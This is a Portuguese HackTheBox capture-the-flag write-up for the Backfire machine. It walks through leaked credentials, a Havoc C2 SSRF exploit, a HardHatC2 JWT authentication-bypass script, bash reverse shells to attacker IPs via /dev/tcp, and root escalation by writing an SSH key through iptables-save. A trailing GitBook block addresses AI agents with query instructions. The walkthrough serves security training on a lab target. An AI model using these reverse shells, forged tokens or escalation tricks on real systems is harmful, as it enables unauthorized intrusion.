> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md).

# Relato do HackTheBox Backfire

{% embed url="<https://app.hackthebox.com/machines/643>" %}

{% hint style="warning" %}
**Habilidades:**

* Vazamento de informações (arquivo Yaotl)
* Exploração do Havoc-C2 (porta 40046)
* Criação de chave SSH
* Pivoting (Usuário: Sergej)
* Exploração do HardHat (porta 7096)
  * HardHat - Bypass de autenticação
  * HardHat - Execução remota de código
* Escalada de privilégio com sudo (IPTables)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/c69c03aee531463c2d0c257df9a28bf8789bf17b" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/c45497fc1487cda3587ca0bf1899bee6a7c88000" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts
```

<figure><img src="/files/1e754004705fbda702bf2f1f538b9ad446ca6181" alt=""><figcaption></figcaption></figure>

Varredura de versão de portas com Nmap: (22,443,8000)

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted
```

<figure><img src="/files/b9d96a9e97220c94432bb4bc9fc46675b44345e2" alt=""><figcaption></figcaption></figure>

### Porta 8000

Na porta 8000, encontramos dois arquivos interessantes:

* `disable_tls.path`
* `havoc.yaotl`

<figure><img src="/files/eeb6a3ea86fae9128a637c9528e19d85992386be" alt=""><figcaption></figcaption></figure>

O **havoc.yaotl** o arquivo contém dois usuários com suas senhas e um nome de domínio:

* **ilya:** `CobaltStr1keSuckz!`
* **sergej:** `1w4nt2sw1tch2h4rdh4tc2`
* **Host:** `backfire.htb`

<figure><img src="/files/d2cd85fe7f816580da2cce6e0ccd71f0d05eee90" alt=""><figcaption></figcaption></figure>

Adicionamos este hostname em nosso `/etc/hosts` arquivo para facilitar o acesso.

<figure><img src="/files/fbcd2a6b1d371323aa60cdbb16c3355ab6808956" alt="" width="563"><figcaption></figcaption></figure>

O **disable/ tls.path** arquivo contém um patch para desabilitar TLS na porta de gerenciamento WebSocket (40056) no Havoc. Este patch substitui "wss\://" por "ws\://" e remove a configuração SSL tanto para o cliente quanto para o servidor. O autor justifica essa mudança ao especificar que essa porta só aceita conexões locais via encaminhamento SSH, reduzindo assim os riscos de segurança. Este patch também parece ser uma ironia ao trabalho rápido do usuário **sergej**'s.

<figure><img src="/files/454b7c8783a53318a10a6cda3b68a7318c87a118" alt=""><figcaption></figcaption></figure>

## Porta 40046 Havoc-C2

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

Para explorar a vulnerabilidade SSRF no Havoc, criamos um `payload.sh` arquivo contendo o seguinte código:

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

Em seguida, configuramos um servidor web para hospedar nosso payload com o seguinte comando:

```bash
python3 -m http.server 80
```

Depois, escutamos na porta 4444 com netcat para receber a conexão reversa:

```bash
nc -nlvp 4444
```

Modificamos o script para incluir as informações relevantes e então executamos o exploit com o seguinte comando:

<figure><img src="/files/8e12e904f85a4dc75b803ea1670ed9b98223f58d" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**Acesso de usuário:**

O usuário **ilya** permite que você se conecte à máquina alvo.

<figure><img src="/files/ba7aaa06c4cfb877e374411ca4cff41c7beda8aa" alt=""><figcaption></figcaption></figure>

#### Estabilização do terminal

<pre class="language-bash"><code class="lang-bash">script /dev/null -c bash
Pressione `Ctrl+Z` e então estabilize o terminal:

stty raw -echo; fg
reset xterm
export TERM=xterm
<strong>export SHELL=bash
</strong>stty rows 44 columns 184
</code></pre>

### Flag user.txt

<figure><img src="/files/7a5c0116a64ae4b35ac79a3a0e5aaf200a202cc3" alt="" width="563"><figcaption></figcaption></figure>

Observamos que um cron job encerra nossa sessão a cada 2 minutos. Para contornar esse problema, vamos criar chaves SSH.

### **Criando chaves SSH:**

Geramos uma nova chave SSH usando o seguinte comando:

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
```

{% endcode %}

<figure><img src="/files/0975a831148106d25e2c61f0535d9fce0afcac6b" alt=""><figcaption></figcaption></figure>

Em seguida, modificamos o `authorized_keys` arquivo para adicionar nossa chave pública:

{% code overflow="wrap" %}

```bash
echo "SUA CHAVE" | tee -a ~/.ssh/authorized_keys
```

{% endcode %}

<figure><img src="/files/dcde9955d1a3f7da127512607b7992b1dbc527ac" alt=""><figcaption></figcaption></figure>

Em seguida, conectamos à máquina alvo usando SSH:

```bash
ssh ilya@backfire.htb
```

<figure><img src="/files/7ab8bd4dc6a6ff53bf4145e43b929d7562343763" alt=""><figcaption></figcaption></figure>

### **Pivotar para o usuário Sergej**

No diretório do usuário `ilya`, encontramos um arquivo `hardhat.txt` contendo a seguinte mensagem:

> Sergej disse que instalou o HardHatC2 para testes e não mudou as configurações padrão. Espero que ele prefira o Havoc, porque eu não quero aprender outro framework C2, e Go

<figure><img src="/files/ad43d5e69325004cfd58021457238d2c140cd04f" alt=""><figcaption></figcaption></figure>

Examinamos as portas internas com o `netstat` comando:

```bash
netstat -tuln
```

As portas 5000 e 7096 parecem particularmente interessantes.

<figure><img src="/files/e4a3e1bf933c5834281b2609767d83ed0d974d5d" alt=""><figcaption></figcaption></figure>

**Encaminhamento de portas :**

Fazemos encaminhamento de portas com SSH para acessar os serviços internos:

```bash
ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb
```

## **Porta 7096 - HardHatC2 CMS :**

Na porta 7096 encontramos o CMS HardHat.

<figure><img src="/files/de2fb3d9aceb5d7f0906aa3fdf3108729d751099" alt=""><figcaption></figcaption></figure>

### **Bypass de autenticação do HardHat C2**

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

Usamos o seguinte script para burlar a autenticação e criar um novo usuário:

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# Crie o JWT de Administrador  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("JWT gerado:")  
print(token)  
  
# Use o JWT de Administrador para criar um novo usuário 'sth_pentest' como TeamLead  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "TeamLead",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

O script gera o usuário `jordan` com o papel `TeamLead`.

<figure><img src="/files/fe58b686755cfa53d29c811cb49214281dc3ca77" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a65940f377adcc80969c6e96a2d06a2bd2e3a7c5" alt=""><figcaption></figcaption></figure>

### Hardhat C2 (RCE)

Na `ImplantInteract` parte, temos acesso a um terminal. Ao executar o `whoami` comando, vemos que estamos logados como o usuário `sergej`.

<figure><img src="/files/fc35bf9437c768f751a7ac68d53ae6b69ae9515e" alt=""><figcaption></figcaption></figure>

Estabelecemos uma reverse shell para o usuário `sergej` escutando na porta 443:

```bash
nc -nlvp 443
```

E vamos executar o seguinte comando para fazer a conexão reversa

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

Uma vez conectado, adicionamos nossa chave SSH a `authorized_keys` para poder reconectar facilmente:

<figure><img src="/files/84af48683abf7908d54bc4c597b875eee73d0ea2" alt="" width="563"><figcaption></figcaption></figure>

```bash
echo "sua chave" | tee -a ~/.ssh/authorized_keys
```

## **Elevação de privilégios :**

### **Sudo - IP-Tables**

**Verificando os direitos do sudo**

Começamos verificando os direitos de sudo disponíveis na máquina:

```bash
sudo -l
```

<figure><img src="/files/2dd58c3a9f8b08df1f290f700c6eefa1c684785b" alt="" width="556"><figcaption></figcaption></figure>

Descobrimos que o usuário tem `sudo` privilégios sem senha para os seguintes comandos:

* `/usr/sbin/iptables`
* `/usr/sbin/iptables-save`

**Gerando um par de chaves SSH**

Geramos um par de chaves SSH para injetar nossa chave pública nos arquivos de autenticação do root:

```bash
ssh-keygen  -t ed25519
```

Aqui está a chave pública gerada:

{% code overflow="wrap" %}

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot
```

{% endcode %}

**Injeção de chave pública no iptables**

Usamos o `--comment` campo do `iptables` para injetar nossa chave pública em uma regra

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n'
```

{% endcode %}

Verificamos se a regra foi adicionada:

```bash
 sudo /usr/sbin/iptables -L
```

<figure><img src="/files/8c37f272a7eba028025278798b1241aaf5bb3415" alt=""><figcaption></figcaption></figure>

**Salvar no arquivo authorized/\_keys**

Salvamos as regras do iptables em um arquivo que será usado como o `authorized_keys` arquivo:

```bash
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2
```

**Login como root**

Por fim, podemos nos conectar via SSH como root:

```bash
ssh root@backfire.htb
```

<figure><img src="/files/94acafe844e1f7300a25dc56a7a3eca9c87274fd" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/5a3636ac1070af4fd6e6ed4c334c0b9ca27e18a6" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
